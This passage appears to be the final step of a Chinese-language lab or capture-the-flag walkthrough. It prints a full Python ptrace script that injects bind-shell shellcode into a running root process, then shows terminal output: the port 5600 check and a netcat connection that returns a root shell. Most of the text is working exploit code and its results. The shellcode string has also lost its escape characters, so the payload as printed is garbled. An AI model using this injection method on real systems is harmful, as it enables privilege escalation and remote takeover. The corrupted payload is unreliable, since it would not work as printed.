# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script. # GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c    import ctypes import sys import struct   # Macros defined in <sys/ptrace.h> # https://code.woboq.org/qt5/include/sys/ptrace.h.html   PTRACE_POKETEXT   = 4 PTRACE_GETREGS    = 12 PTRACE_SETREGS    = 13 PTRACE_ATTACH     = 16 PTRACE_DETACH     = 17   # Structure defined in <sys/user.h> # https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct   class user_regs_struct(ctypes.Structure):     _fields_ = [         ("r15", ctypes.c_ulonglong),         ("r14", ctypes.c_ulonglong),         ("r13", ctypes.c_ulonglong),         ("r12", ctypes.c_ulonglong),         ("rbp", ctypes.c_ulonglong),         ("rbx", ctypes.c_ulonglong),         ("r11", ctypes.c_ulonglong),         ("r10", ctypes.c_ulonglong),         ("r9", ctypes.c_ulonglong),         ("r8", ctypes.c_ulonglong),         ("rax", ctypes.c_ulonglong),         ("rcx", ctypes.c_ulonglong),         ("rdx", ctypes.c_ulonglong),         ("rsi", ctypes.c_ulonglong),         ("rdi", ctypes.c_ulonglong),         ("orig_rax", ctypes.c_ulonglong),         ("rip", ctypes.c_ulonglong),         ("cs", ctypes.c_ulonglong),         ("eflags", ctypes.c_ulonglong),         ("rsp", ctypes.c_ulonglong),         ("ss", ctypes.c_ulonglong),         ("fs_base", ctypes.c_ulonglong),         ("gs_base", ctypes.c_ulonglong),         ("ds", ctypes.c_ulonglong),         ("es", ctypes.c_ulonglong),         ("fs", ctypes.c_ulonglong),         ("gs", ctypes.c_ulonglong),     ]   libc = ctypes.CDLL("libc.so.6")   pid=int(sys.argv[1])   # Define argument type and respone type. libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p] libc.ptrace.restype = ctypes.c_uint64   # Attach to the process libc.ptrace(PTRACE_ATTACH, pid, None, None) registers=user_regs_struct()   # Retrieve the value stored in registers libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))   print("Instruction Pointer: " + hex(registers.rip))   print("Injecting Shellcode at: " + hex(registers.rip))   # Shell code copied from exploit db. shellcode="x48x31xc0x48x31xd2x48x31xf6xffxc6x6ax29x58x6ax02x5fx0fx05x48x97x6ax02x66xc7x44x24x02x15xe0x54x5ex52x6ax31x58x6ax10x5ax0fx05x5ex6ax32x58x0fx05x6ax2bx58x0fx05x48x97x6ax03x5exffxcexb0x21x0fx05x75xf8xf7xe6x52x48xbbx2fx62x69x6ex2fx2fx73x68x53x48x8dx3cx24xb0x3bx0fx05"   # Inject the shellcode into the running process byte by byte. for i in xrange(0,len(shellcode),4):     # Convert the byte to little endian.   shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)   shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('x00').encode('hex')   shellcode_byte=int(shellcode_byte_little_endian,16)     # Inject the byte.   libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)   print("Shellcode Injected!!")   # Modify the instuction pointer registers.rip=registers.rip+2   # Set the registers libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))   print("Final Instruction Pointer: " + hex(registers.rip))   # Detach from the process. libc.ptrace(PTRACE_DETACH, pid, None, None) 
  • 脚本的默认监听端口是 5600
  • 使用 ss -pantu | grep 5600 确认是否成功
saket@ubuntu:/tmp$ python2.7 inject.py 888 python2.7 inject.py 888 Instruction Pointer: 0x7fddc8b470daL Injecting Shellcode at: 0x7fddc8b470daL Shellcode Injected!! Final Instruction Pointer: 0x7fddc8b470dcL saket@ubuntu:/tmp$ ss -pantu | grep 5600 ss -pantu | grep 5600 tcp   LISTEN 0      0                      0.0.0.0:5600           0.0.0.0:*                                                           

最后一步,使用 netcat 连接目标的 5600 端口

┌──(kali㉿kali)-[~/workspace] └─$ nc 192.168.56.118 5600                                                       id uid=0(root) gid=0(root) groups=0(root) 

结束 GAME OVER

发表评论

相关文章